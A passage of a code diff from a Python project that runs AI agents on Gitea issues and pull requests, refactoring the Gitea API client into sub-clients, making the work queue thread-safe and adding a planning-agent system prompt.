if client is None:
client = GiteaClient()
return client
@staticmethod
def create_refs_client(client: GiteaClient | None = None) -> RefsClient:
if client is None:
client = GiteaClient()
return client
@staticmethod
def create_repos_client(client: GiteaClient | None = None) -> ReposClient:
if client is None:
client = GiteaClient()
return client
class AgentFactory:
"""Factory for creating AI agent instances."""
@staticmethod
def create_coding_agent(model_name: str) -> CodingAgent:
logger.info(f"Factory creating CodingAgent with model: {model_name}")
return CodingAgent(model_name)
@staticmethod
def create_caveman_agent(model_name: str) -> CavemanAgent:
logger.info(f"Factory creating CavemanAgent with model: {model_name}")
return CavemanAgent(model_name)
@staticmethod
def create_coordinator_agent(model_name: str) -> CoordinatorAgent:
logger.info(f"Factory creating CoordinatorAgent with model: {model_name}")
return CoordinatorAgent(model_name)
@staticmethod
def create_planning_agent(model_name: str) -> PlanningAgent:
logger.info(f"Factory creating PlanningAgent with model: {model_name}")
return PlanningAgent(model_name)
@staticmethod
def create_notification_reader_agent(model_name: str) -> NotificationReaderAgent:
logger.info(f"Factory creating NotificationReaderAgent with model: {model_name}")
return NotificationReaderAgent(model_name)
class WorkspaceFactory:
"""Factory for creating workspace manager instances."""
@staticmethod
def create_workspace() -> WorkspaceManager:
logger.info("Factory creating WorkspaceManager")
return WorkspaceManager()
-182
View File
@@ -1,182 +0,0 @@
"""Interfaces for Gitea operations."""
from abc import ABC, abstractmethod
from typing import Any
from gitea.models import (
IssueModel,
PullRequestModel,
CommentModel,
LabelModel,
UserModel,
RepositoryModel,
PullRequestFileModel,
)
class IssuesClient(ABC):
"""Interface for Gitea issue operations."""
@abstractmethod
def list_repo_issues(self, owner: str, repo: str, state: str = "open") -> list[IssueModel]: ...
@abstractmethod
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel: ...
@abstractmethod
def close_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel: ...
@abstractmethod
def get_issue_comments(self, owner: str, repo: str, issue_number: int) -> list[CommentModel]: ...
@abstractmethod
def list_assigned_issues(self, owner: str, repo: str) -> list[IssueModel]: ...
@abstractmethod
def create_issue(
self,
owner: str,
repo: str,
title: str,
body: str,
labels: list[str] | None = None,
assignees: list[str] | None = None,
) -> IssueModel: ...
@abstractmethod
def add_comment(self, owner: str, repo: str, issue_number: int, body: str) -> CommentModel: ...
@abstractmethod
def add_label(self, owner: str, repo: str, issue_number: int, label: str) -> LabelModel: ...
class PullRequestsClient(ABC):
"""Interface for Gitea pull request operations."""
@abstractmethod
def list_repo_pull_requests(self, owner: str, repo: str, state: str = "open") -> list[PullRequestModel]: ...
@abstractmethod
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel: ...
@abstractmethod
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel: ...
@abstractmethod
def get_pull_request_comments(self, owner: str, repo: str, pull_number: int) -> list[CommentModel]: ...
@abstractmethod
def get_pr_reviews(self, owner: str, repo: str, pr_number: int) -> list[dict[str, Any]]: ...
@abstractmethod
def get_pull_request_diff(self, owner: str, repo: str, pull_number: int) -> str: ...
@abstractmethod
def get_pull_request_patch(self, owner: str, repo: str, pull_number: int) -> str: ...
@abstractmethod
def get_pull_request_files(self, owner: str, repo: str, pull_number: int) -> list[PullRequestFileModel]: ...
@abstractmethod
def list_assigned_pull_requests(self, owner: str, repo: str) -> list[PullRequestModel]: ...
@abstractmethod
def create_pull_request(
self, owner: str, repo: str, head: str, base: str, title: str, description: str = ""
) -> PullRequestModel: ...
@abstractmethod
def update_pull_request(
self,
owner: str,
repo: str,
pull_number: int,
title: str | None = None,
body: str | None = None,
state: str | None = None,
) -> PullRequestModel: ...
@abstractmethod
def approve_pr(self, owner: str, repo: str, pr_number: int, comment: str) -> dict[str, Any]: ...
@abstractmethod
def request_changes_pr(self, owner: str, repo: str, pr_number: int, comment: str) -> dict[str, Any]: ...
@abstractmethod
def dismiss_review_pr(
self, owner: str, repo: str, pr_number: int, review_id: int, message: str
) -> dict[str, Any]: ...
@abstractmethod
def assign_issue(self, owner: str, repo: str, issue_number: int, username: str) -> IssueModel: ...
class FilesClient(ABC):
"""Interface for Gitea file/content operations."""
@abstractmethod
def get_file_content(self, owner: str, repo: str, path: str, ref: str = "master") -> str | list[str]: ...
@abstractmethod
def update_file(
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
) -> dict[str, Any]: ...
class RefsClient(ABC):
"""Interface for Gitea git ref operations."""
@abstractmethod
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]: ...
@abstractmethod
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]: ...
class ReposClient(ABC):
"""Interface for Gitea repository operations."""
@abstractmethod
def list_all_user_repos(self) -> list[RepositoryModel]: ...
class Agent(ABC):
"""Interface for AI agent operations."""
@abstractmethod
async def initialize(self) -> None: ...
@abstractmethod
async def run(self, user_input: str) -> str: ...
@abstractmethod
async def run_with_tools(self, user_input: str, tools: list[Any]) -> str: ...
class Workspace(ABC):
"""Interface for workspace management."""
@abstractmethod
def get_repo_path(self, repo_full_name: str) -> Any: ...
@abstractmethod
def sanitize_repo(self, repo_path: Any) -> None: ...
@abstractmethod
def clone_repo(self, repo_full_name: str, clone_url: str) -> Any: ...
class MissionBuilder(ABC):
"""Interface for mission string construction."""
@abstractmethod
def build_issue_mission(self, issue_info: dict[str, Any], branch_name: str) -> str: ...
@abstractmethod
def build_pr_mission(self, pr_info: dict[str, Any]) -> str: ...
class BranchStrategy(ABC):
"""Interface for branch creation strategy."""
@abstractmethod
async def create_or_reuse_branch(self, repo_path: Any, branch_name: str, base_branch: str | None = None) -> str: ...
+2 -1
View File
@@ -17,7 +17,8 @@ class NotificationReaderAgent(BaseAgent):
def __init__(self, model_name: str) -> None:
super().__init__(model_name)
self.system_prompt = NOTIFICATION_READER_SYSTEM_PROMPT
self.system_prompt: str = NOTIFICATION_READER_SYSTEM_PROMPT
async def decide_notification(
self,
+82 -35
View File
@@ -11,12 +11,17 @@ from core.queue import WorkQueue, WorkItem
from core.dispatcher import AgentDispatcher
from gitea.client import GiteaClient
from gitea.models import IssueModel, PullRequestModel, RepositoryModel
from gitea.tools.gitea_tools import GiteaTools
from gitea.tools.issue_tools import IssueTools
from gitea.tools.pr_tools import PRTools
from gitea.tools.file_tools import FileTools
from gitea.tools.git_tools import GitTools
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES
from gitea.workspace import WorkspaceManager
from core.factory import AgentFactory
from core.notification_agent import (
NotificationReaderAgent,
NotificationNoToolCalledError,
)
from core.notification_tools import NotificationTools
from core.notification_agent import NotificationNoToolCalledError
logger: logging.Logger = logging.getLogger("agent-orchestrator")
@@ -27,19 +32,32 @@ class AgentOrchestrator:
def __init__(
self,
client: GiteaClient,
tools: GiteaTools,
issue_tools: IssueTools,
pr_tools: PRTools,
file_tools: FileTools,
git_tools: GitTools,
model_name: str = AGENT_MODEL_ID,
max_retries: int = AGENT_MAX_RETRIES,
) -> None:
self._client = client
self._tools = tools
self._issue_tools = issue_tools
self._pr_tools = pr_tools
self._file_tools = file_tools
self._git_tools = git_tools
self._model_name = model_name
self._work_queue = WorkQueue()
self._dispatcher = AgentDispatcher(client, tools, model_name, max_retries)
self._notification_reader = AgentFactory.create_notification_reader_agent(model_name)
self._dispatcher = AgentDispatcher(
client,
issue_tools,
pr_tools,
file_tools,
git_tools,
model_name,
max_retries,
)
self._notification_reader = NotificationReaderAgent(model_name)
self._max_retries = max_retries
def _get_state_file_path(self) -> Path:
"""Get the path to the persistent state file."""
return Path(__file__).parent.parent / "agent_state.json"
@@ -68,9 +86,13 @@ class AgentOrchestrator:
async def poll_and_dispatch(self) -> None:
"""Poll Gitea unread notifications, enqueue them, and dispatch to agent."""
last_checked = self._read_last_checked()
logger.info(f"Polling unread notifications since: {last_checked or 'beginning'}")
logger.info(
f"Polling unread notifications since: {last_checked or 'beginning'}"
)
notifications = self._client.list_unread_notifications(since=last_checked)
notifications = self._client.notifications.list_unread_notifications(
since=last_checked
)
if not notifications:
logger.info("No new notifications found.")
@@ -81,10 +103,10 @@ class AgentOrchestrator:
# Filter and enqueue tasks from notifications
latest_timestamp = last_checked
inspection_tools = [
self._tools.get_issue,
self._tools.get_pull_request,
self._tools.get_issue_comments,
self._tools.get_pull_request_comments,
self._issue_tools.get_issue,
self._pr_tools.get_pull_request,
self._issue_tools.get_issue_comments,
self._pr_tools.get_pull_request_comments,
]
for n in notifications:
@@ -107,7 +129,9 @@ class AgentOrchestrator:
try:
task_number = int(subj_url.rstrip("/").split("/")[-1])
except (ValueError, IndexError):
logger.warning(f"Could not parse task number from subject URL: {subj_url}")
logger.warning(
f"Could not parse task number from subject URL: {subj_url}"
)
continue
# Run NotificationReaderAgent to pre-screen the notification
@@ -126,29 +150,39 @@ class AgentOrchestrator:
attempt += 1
try:
await self._notification_reader.decide_notification(
mission,
inspection_tools,
notification_tools
mission, inspection_tools, notification_tools
)
success = True
break
except NotificationNoToolCalledError as e:
logger.error(f"Notification reader error on notification {notification_id} (attempt {attempt}/{attempt_limit}): {e}")
logger.error(
f"Notification reader error on notification {notification_id} (attempt {attempt}/{attempt_limit}): {e}"
)
if not success or notification_tools.action == "SKIP":
reason = notification_tools.arguments.get("reason", "Failed to call routing tool / default skip")
logger.info(f"Skipping notification {notification_id} for {repo_full_name}#{task_number}. Reason: {reason}")
reason = notification_tools.arguments.get(
"reason", "Failed to call routing tool / default skip"
)
logger.info(
f"Skipping notification {notification_id} for {repo_full_name}#{task_number}. Reason: {reason}"
)
if notification_id is not None:
self._client.mark_notification_as_read(notification_id)
logger.info(f"Marked skipped Gitea notification thread {notification_id} as read.")
self._client.notifications.mark_notification_as_read(
notification_id
)
logger.info(
f"Marked skipped Gitea notification thread {notification_id} as read."
)
continue
# Route based on decided action
if notification_tools.action == "PROCESS_ISSUE":
try:
issue = self._client.get_issue(owner, repo_name, task_number)
issue = self._client.issues.get_issue(owner, repo_name, task_number)
if issue.repository is None:
issue = issue.model_copy(update={"repository": RepositoryModel(**repo_info)})
issue = issue.model_copy(
update={"repository": RepositoryModel(**repo_info)}
)
item = WorkItem(
repo_full_name=repo_full_name,
@@ -156,16 +190,22 @@ class AgentOrchestrator:
task_number=task_number,
task_info=issue,
notification_id=notification_id,
priority=0
priority=0,
)
self._work_queue.enqueue(item)
except Exception as e:
logger.error(f"Failed to fetch issue #{task_number} for notification: {e}")
logger.error(
f"Failed to fetch issue #{task_number} for notification: {e}"
)
elif notification_tools.action == "PROCESS_PR":
try:
pr = self._client.get_pull_request(owner, repo_name, task_number)
pr = self._client.prs.get_pull_request(
owner, repo_name, task_number
)
if pr.repository is None:
pr = pr.model_copy(update={"repository": RepositoryModel(**repo_info)})
pr = pr.model_copy(
update={"repository": RepositoryModel(**repo_info)}
)
item = WorkItem(
repo_full_name=repo_full_name,
@@ -173,12 +213,13 @@ class AgentOrchestrator:
task_number=task_number,
task_info=pr,
notification_id=notification_id,
priority=0
priority=0,
)
self._work_queue.enqueue(item)
except Exception as e:
logger.error(f"Failed to fetch PR #{task_number} for notification: {e}")
logger.error(
f"Failed to fetch PR #{task_number} for notification: {e}"
)
# Process enqueued work
if not self._work_queue.is_empty:
@@ -213,7 +254,13 @@ class AgentOrchestrator:
for i, result in enumerate(results):
item = work_items[i]
logger.info(f"Completed {item.task_type} #{item.task_number}: {result[:200]}")
logger.info(
f"Completed {item.task_type} #{item.task_number}: {result[:200]}"
)
if item.notification_id is not None:
self._client.mark_notification_as_read(item.notification_id)
logger.info(f"Marked Gitea notification thread {item.notification_id} as read.")
self._client.notifications.mark_notification_as_read(
item.notification_id
)
logger.info(
f"Marked Gitea notification thread {item.notification_id} as read."
)
+3 -2
View File
@@ -1,6 +1,6 @@
import logging
from core.agent import BaseAgent
from .coding_prompt import CODING_AGENT_SYSTEM_PROMPT
from core.prompts import PLANNING_AGENT_SYSTEM_PROMPT
logger: logging.Logger = logging.getLogger("agent-planning")
@@ -10,4 +10,5 @@ class PlanningAgent(BaseAgent):
def __init__(self, model_name: str) -> None:
super().__init__(model_name)
self.system_prompt = CODING_AGENT_SYSTEM_PROMPT
self.system_prompt: str = PLANNING_AGENT_SYSTEM_PROMPT
+13
View File
@@ -49,3 +49,16 @@ CRITICAL INSTRUCTIONS:
- You can use the provided inspection tools (like get_issue, get_pull_request, get_issue_comments, get_pull_request_comments) to gather more details if the basic notification metadata is insufficient to make a decision.
"""
PLANNING_AGENT_SYSTEM_PROMPT: str = """
You are an AI Planning Agent. Your job is to research the codebase and any external resources to produce a detailed, step-by-step implementation plan for a Gitea issue or Pull Request.
CRITICAL RULES:
1. You are ONLY generating an implementation plan. DO NOT write files, DO NOT edit files, DO NOT commit, DO NOT push, and DO NOT create branches or PRs.
2. RESEARCH FIRST:
- Use web search to find documentation, solutions, APIs, and best practices.
- Use read_file, list_files, grep_search, and run_command to explore the repository structure and test commands.
3. Your plan must be clear and structured, identifying which files need to be modified, created, or deleted, and detailing the exact verification steps.
"""
+12 -1
View File
@@ -1,4 +1,5 @@
import logging
import threading
from pydantic import BaseModel
from typing import Any, Optional
from gitea.models import IssueModel, PullRequestModel
@@ -19,20 +20,26 @@ class WorkQueue:
"""Thread-safe work queue grouped by repo."""
def __init__(self) -> None:
self._lock: threading.Lock = threading.Lock()
self._queue: list[WorkItem] = []
self._enqueued_repos: set[str] = set()
def enqueue(self, item: WorkItem) -> None:
with self._lock:
self._queue.append(item)
self._enqueued_repos.add(item.repo_full_name)
logger.info(f"Enqueued work item: {item.task_type} #{item.task_number} for {item.repo_full_name}")
def enqueue_batch(self, items: list[WorkItem]) -> None:
with self._lock:
for item in items:
self.enqueue(item)
self._queue.append(item)
self._enqueued_repos.add(item.repo_full_name)
logger.info(f"Enqueued work item: {item.task_type} #{item.task_number} for {item.repo_full_name}")
def get_repo_work(self, repo: str) -> list[WorkItem]:
"""Get all work items for a specific repo."""
with self._lock:
items: list[WorkItem] = [
item for item in self._queue if item.repo_full_name == repo
]
@@ -41,6 +48,7 @@ class WorkQueue:
def remove_repo_work(self, repo: str) -> None:
"""Remove all work items for a specific repo."""
with self._lock:
self._queue = [
item for item in self._queue if item.repo_full_name != repo
]
@@ -49,13 +57,16 @@ class WorkQueue:
def get_next_repo(self) -> str | None:
"""Get the next repo with work, or None if empty."""
with self._lock:
if not self._enqueued_repos:
return None
return next(iter(self._enqueued_repos))
@property
def is_empty(self) -> bool:
with self._lock:
return len(self._queue) == 0
def __len__(self) -> int:
with self._lock:
return len(self._queue)
+35
View File
@@ -0,0 +1,35 @@
"""Gitea API client package."""
from .client import GiteaClient
from .files_client import FilesClient
from .issues_client import IssuesClient
from .notifications_client import NotificationsClient
from .prs_client import PullRequestsClient
from .repos_client import ReposClient
from .models import (
CommentModel,
GiteaConfig,
IssueModel,
LabelModel,
PullRequestFileModel,
PullRequestModel,
RepositoryModel,
UserModel,
)
__all__ = [
"FilesClient",
"GiteaClient",
"IssuesClient",
"NotificationsClient",
"PullRequestsClient",
"ReposClient",
"CommentModel",
"GiteaConfig",
"IssueModel",
"LabelModel",
"PullRequestFileModel",
"PullRequestModel",
"RepositoryModel",
"UserModel",
]
+52 -435
View File
@@ -1,28 +1,28 @@
import httpx
import json
import base64
from typing import Any, Optional
from .config import GITEA_URL, GITEA_TOKEN
from .models import (
UserModel,
LabelModel,
RepositoryModel,
IssueModel,
PullRequestModel,
CommentModel,
PullRequestFileModel,
)
from core.interfaces import (
IssuesClient,
PullRequestsClient,
FilesClient,
RefsClient,
ReposClient,
)
import logging
from typing import Any
logger: logging.Logger = logging.getLogger("gitea.client")
from .config import GITEA_URL, GITEA_TOKEN, GITEA_ORG_FILTER
from .files_client import FilesClient
from .issues_client import IssuesClient
from .notifications_client import NotificationsClient
from .prs_client import PullRequestsClient
from .repos_client import ReposClient
class GiteaClient(IssuesClient, PullRequestsClient, FilesClient, RefsClient, ReposClient):
"""HTTP client for Gitea API v1."""
class GiteaClient:
"""HTTP client for Gitea API v1.
This is a facade class that provides access to focused sub-clients
for different API domains:
- repos: Repository operations (ReposClient)
- issues: Issue operations (IssuesClient)
- prs: Pull request operations (PullRequestsClient)
- files: File and git ref operations (FilesClient)
- notifications: Notification operations (NotificationsClient)
"""
def __init__(self) -> None:
self.base_url: str = GITEA_URL.rstrip("/")
@@ -30,422 +30,39 @@ class GiteaClient(IssuesClient, PullRequestsClient, FilesClient, RefsClient, Rep
"Authorization": f"token {GITEA_TOKEN}",
"Accept": "application/json",
}
def get_authenticated_user(self) -> UserModel | None:
try:
with httpx.Client() as client:
response = client.get(f"{self.base_url}/api/v1/user", headers=self.headers)
response.raise_for_status()
return UserModel(**response.json())
except Exception as e:
print(f"Error getting authenticated user: {e}")
return None
def list_all_user_repos(self) -> list[RepositoryModel]:
try:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/user/repos"
response = client.get(url, headers=self.headers)
response.raise_for_status()
repos: list[dict[str, Any]] = response.json()
# Filter to ONLY meeks organization repos, include mirrors
seen: set[str] = set()
result: list[RepositoryModel] = []
for r in repos:
full_name = r.get("full_name", "")
if full_name and full_name not in seen and (r.get("owner") or {}).get("login") == "meeks":
seen.add(full_name)
result.append(RepositoryModel(**r))
return result
except Exception as e:
print(f"Error listing user repos: {e}")
return []
def list_repo_issues(self, owner: str, repo: str, state: str = "open") -> list[IssueModel]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?type=issues&state={state}"
response = client.get(url, headers=self.headers)
response.raise_for_status()
return [IssueModel(**item) for item in response.json()]
def list_repo_pull_requests(self, owner: str, repo: str, state: str = "open") -> list[PullRequestModel]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state={state}"
response = client.get(url, headers=self.headers)
if response.status_code == 404:
return []
response.raise_for_status()
return [PullRequestModel(**item) for item in response.json()]
def get_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
response = client.get(url, headers=self.headers)
response.raise_for_status()
return PullRequestModel(**response.json())
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
response = client.get(url, headers=self.headers)
response.raise_for_status()
return IssueModel(**response.json())
def close_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
data: dict[str, str] = {"state": "closed"}
response = client.patch(url, headers=self.headers, json=data)
response.raise_for_status()
return IssueModel(**response.json())
def close_pull_request(self, owner: str, repo: str, pull_number: int) -> PullRequestModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
data: dict[str, str] = {"state": "closed"}
response = client.patch(url, headers=self.headers, json=data)
response.raise_for_status()
return PullRequestModel(**response.json())
def get_issue_comments(self, owner: str, repo: str, issue_number: int) -> list[CommentModel]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
response = client.get(url, headers=self.headers)
response.raise_for_status()
return [CommentModel(**item) for item in response.json()]
def get_pull_request_comments(self, owner: str, repo: str, pull_number: int) -> list[CommentModel]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pull_number}/comments"
response = client.get(url, headers=self.headers)
response.raise_for_status()
return [CommentModel(**item) for item in response.json()]
def get_pull_request_diff(self, owner: str, repo: str, pull_number: int) -> str:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/diff"
response = client.get(url, headers=self.headers)
response.raise_for_status()
return response.text
def get_pull_request_patch(self, owner: str, repo: str, pull_number: int) -> str:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/patch"
response = client.get(url, headers=self.headers)
response.raise_for_status()
return response.text
def get_pull_request_files(self, owner: str, repo: str, pull_number: int) -> list[PullRequestFileModel]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/files"
response = client.get(url, headers=self.headers)
response.raise_for_status()
return [PullRequestFileModel(**item) for item in response.json()]
def list_assigned_issues(self, owner: str = "", repo: str = "") -> list[IssueModel]:
try:
user = self.get_authenticated_user()
if not user:
return []
username: str = user.login
if owner and repo:
response = httpx.get(
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?assignee={username}&state=open&type=issues",
headers=self.headers,
self.client: httpx.Client = httpx.Client(headers=self.headers)
self.repos: ReposClient = ReposClient(
self.base_url, self.client, GITEA_ORG_FILTER
)
response.raise_for_status()
return [IssueModel(**item) for item in response.json()]
all_issues: list[IssueModel] = []
repos = self.list_all_user_repos()
for r in repos:
repo_owner = r.owner if hasattr(r, 'owner') else (r.get("owner") or {}).get("login", "")
repo_name = r.name if hasattr(r, 'name') else r.get("name", "")
resp = httpx.get(
f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/issues?assignee={username}&state=open&type=issues",
headers=self.headers,
self.issues: IssuesClient = IssuesClient(
self.base_url,
self.client,
get_user=self.repos.get_authenticated_user,
get_repos=self.repos.list_all_user_repos,
)
if resp.status_code == 200:
for item in resp.json():
issue = IssueModel(**item)
# Backfill repository if Gitea omitted it
if issue.repository is None:
issue = issue.model_copy(update={"repository": r})
all_issues.append(issue)
return all_issues
except Exception as e:
print(f"DEBUG: list_assigned_issues error: {e}")
return []
def list_assigned_pull_requests(self, owner: str = "", repo: str = "") -> list[PullRequestModel]:
"""List all pull requests assigned to or authored by the authenticated user."""
try:
user = self.get_authenticated_user()
if not user:
return []
username: str = user.login
if owner and repo:
response = httpx.get(
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state=open",
headers=self.headers,
self.prs: PullRequestsClient = PullRequestsClient(
self.base_url,
self.client,
get_user=self.repos.get_authenticated_user,
get_repos=self.repos.list_all_user_repos,
)
if response.status_code == 404:
return []
response.raise_for_status()
all_prs: list[PullRequestModel] = [PullRequestModel(**pr) for pr in response.json()]
return [
pr for pr in all_prs
if (pr.assignee and pr.assignee.login == username) or (pr.user and pr.user.login == username)
]
all_prs: list[PullRequestModel] = []
repos = self.list_all_user_repos()
for r in repos:
repo_owner = r.owner if hasattr(r, 'owner') else (r.get("owner") or {}).get("login", "")
repo_name = r.name if hasattr(r, 'name') else r.get("name", "")
resp = httpx.get(
f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/pulls?state=open",
headers=self.headers,
self.files: FilesClient = FilesClient(self.base_url, self.client)
self.notifications: NotificationsClient = NotificationsClient(
self.base_url, self.client, GITEA_ORG_FILTER
)
if resp.status_code == 200:
for pr_data in resp.json():
pr = PullRequestModel(**pr_data)
if (pr.assignee and pr.assignee.login == username) or (pr.user and pr.user.login == username):
# Backfill repository if Gitea omitted it
if pr.repository is None:
pr = pr.model_copy(update={"repository": r})
all_prs.append(pr)
return all_prs
except Exception as e:
print(f"DEBUG: list_assigned_pull_requests error: {e}")
return []
def create_pull_request(
self, owner: str, repo: str, head: str, base: str, title: str, description: str = ""
) -> PullRequestModel:
def close(self) -> None:
"""Close the underlying HTTP client."""
self.client.close()
def __enter__(self) -> "GiteaClient":
return self
def __exit__(self, exc_type: Any, exc_val: Any, exc_tb: Any) -> None:
self.close()
def __del__(self) -> None:
try:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls"
data: dict[str, str] = {
"title": title,
"body": description,
"head": head,
"base": base,
}
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return PullRequestModel(**response.json())
except Exception as e:
print(f"Error creating pull request: {e}")
raise
def update_pull_request(
self,
owner: str,
repo: str,
pull_number: int,
title: str | None = None,
body: str | None = None,
state: str | None = None,
) -> PullRequestModel:
try:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
data: dict[str, Any] = {}
if title is not None:
data["title"] = title
if body is not None:
data["body"] = body
if state is not None:
data["state"] = state
response = client.patch(url, headers=self.headers, json=data)
response.raise_for_status()
return PullRequestModel(**response.json())
except Exception as e:
print(f"Error updating pull request: {e}")
raise
def create_pr_via_tea(
self, owner: str, repo: str, title: str, description: str, head: str, base: str
) -> PullRequestModel:
return self.create_pull_request(owner, repo, head, base, title, description)
def approve_pr(self, owner: str, repo: str, pr_number: int, comment: str) -> dict[str, Any]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
data: dict[str, Any] = {"event": "APPROVED", "body": comment}
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return response.json()
def request_changes_pr(self, owner: str, repo: str, pr_number: int, comment: str) -> dict[str, Any]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
data: dict[str, Any] = {"event": "REQUEST_CHANGES", "body": comment}
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return response.json()
def get_pr_reviews(self, owner: str, repo: str, pr_number: int) -> list[dict[str, Any]]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
response = client.get(url, headers=self.headers)
if response.status_code == 404:
return []
response.raise_for_status()
return response.json()
def dismiss_review_pr(
self, owner: str, repo: str, pr_number: int, review_id: int, message: str
) -> dict[str, Any]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews/{review_id}/dismissals"
data: dict[str, str] = {"message": message}
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return response.json()
def assign_issue(self, owner: str, repo: str, issue_number: int, username: str) -> IssueModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
data: dict[str, list[str]] = {"assignees": [username]}
response = client.patch(url, headers=self.headers, json=data)
response.raise_for_status()
return IssueModel(**response.json())
def create_issue(
self,
owner: str,
repo: str,
title: str,
body: str,
labels: list[str] | None = None,
assignees: list[str] | None = None,
) -> IssueModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
data: dict[str, Any] = {"title": title, "body": body}
if labels:
data["labels"] = labels
if assignees:
data["assignees"] = assignees
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return IssueModel(**response.json())
def add_comment(self, owner: str, repo: str, issue_number: int, body: str) -> CommentModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
data: dict[str, str] = {"body": body}
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return CommentModel(**response.json())
def add_label(self, owner: str, repo: str, issue_number: int, label: str) -> LabelModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/labels"
data: list[str] = [label]
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return LabelModel(**response.json())
def add_label_pr(self, owner: str, repo: str, pr_number: int, label: str) -> LabelModel:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pr_number}/labels"
data: list[str] = [label]
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return LabelModel(**response.json())
def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/ref/{ref}"
data: dict[str, str] = {"sha": sha}
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return response.json()
def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, Any]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/refs"
data: dict[str, str] = {"ref": ref, "sha": sha}
response = client.post(url, headers=self.headers, json=data)
response.raise_for_status()
return response.json()
def update_file(
self, owner: str, repo: str, path: str, message: str, content: str, branch: str
) -> dict[str, Any]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
data: dict[str, str] = {
"message": message,
"content": base64.b64encode(content.encode()).decode(),
"branch": branch,
"new_branch": f"{branch}-update-{path}",
}
response = client.put(url, headers=self.headers, json=data)
response.raise_for_status()
return response.json()
def get_file_content(self, owner: str, repo: str, path: str, ref: str = "master") -> str | list[str]:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
params: dict[str, str] = {"ref": ref}
response = client.get(url, headers=self.headers, params=params)
response.raise_for_status()
data = response.json()
if isinstance(data, list):
return [item.get("content", "") for item in data if item.get("type") == "file"]
return base64.b64decode(data.get("content", "")).decode() if data.get("content") else ""
def list_unread_notifications(self, since: Optional[str] = None) -> list[dict[str, Any]]:
try:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/notifications"
params: dict[str, str] = {"all": "false"}
if since:
params["since"] = since
response = client.get(url, headers=self.headers, params=params)
response.raise_for_status()
notifications: list[dict[str, Any]] = response.json()
result: list[dict[str, Any]] = []
for n in notifications:
repo_info = n.get("repository") or {}
owner_info = repo_info.get("owner") or {}
owner_login = owner_info.get("login", "")
if owner_login == "meeks":
result.append(n)
return result
except Exception as e:
print(f"Error listing unread notifications: {e}")
return []
def mark_notification_as_read(self, thread_id: int) -> bool:
try:
with httpx.Client() as client:
url = f"{self.base_url}/api/v1/notifications/threads/{thread_id}"
response = client.patch(url, headers=self.headers)
response.raise_for_status()
return True
except Exception as e:
